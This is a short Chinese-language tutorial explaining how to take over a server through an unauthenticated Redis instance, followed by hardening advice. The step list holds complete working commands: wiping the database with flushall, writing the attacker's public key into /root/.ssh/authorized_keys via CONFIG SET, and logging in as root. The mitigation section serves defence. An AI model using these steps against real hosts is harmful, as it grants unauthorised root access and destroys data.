通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key(也就是密码)。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆
步骤:
一、生成本地ssh公钥
ssh-keygen
二、先连接redis看看
telnet 192.168.88.136 6379
redis-cli -h 192.168.88.136
三、清一下redis数据库
redis-cli -h 192.168.88.136 flushall
四、向redis写自己的公钥
cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis
五、利用redis写入到文件中
#连接redis
#redis-cli -h 192.168.88.136
#查看keys
192.168.88.136>keys *
#写入配置库的路径及存放位置
192.168.88.136>CONFIG SET dir /root/.ssh/
#写入配置库名称及存放的名字
192.168.88.136>CONFIG SET dbfilename "authorized_keys"
#写入
192.168.88.136>save
#退出
192.168.88.136>exit
六、远程连接
ssh root@192.168.88.136
注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件,以及redis可以默认的可以随意访问性的。
防止redis入侵服务器的措施:
1、不要对外开放redis,也就是不要使用公网ip启动redis
2、更改redis默认的端口(默认是6379)
3、给reids加密码,在启动的以后,我们必须通过密码认证后才能操作
4、给 authorized_keys 文件加上特殊权限(chattr +i authorized_keys),不让别人在里面写内容
5、也可以给/root/.ssh 这个目录加上特殊权限(chattr +i /root/.ssh),这样即使是root用户也不能够在里面写东西
备注:
如果给redis加了密码以后,我们在启动的时候可以这样 redis-cli -h 192.168.88.136 -p 端口 -a 密码,也可以通过先登陆后认证的方式,也就是redis-cli -h 192.168.88.136 -p 端口 ,认证auth 密码
关闭的时候也一样redis-cli -h 192.168.88.136 -p 端口 -a 密码 shutdown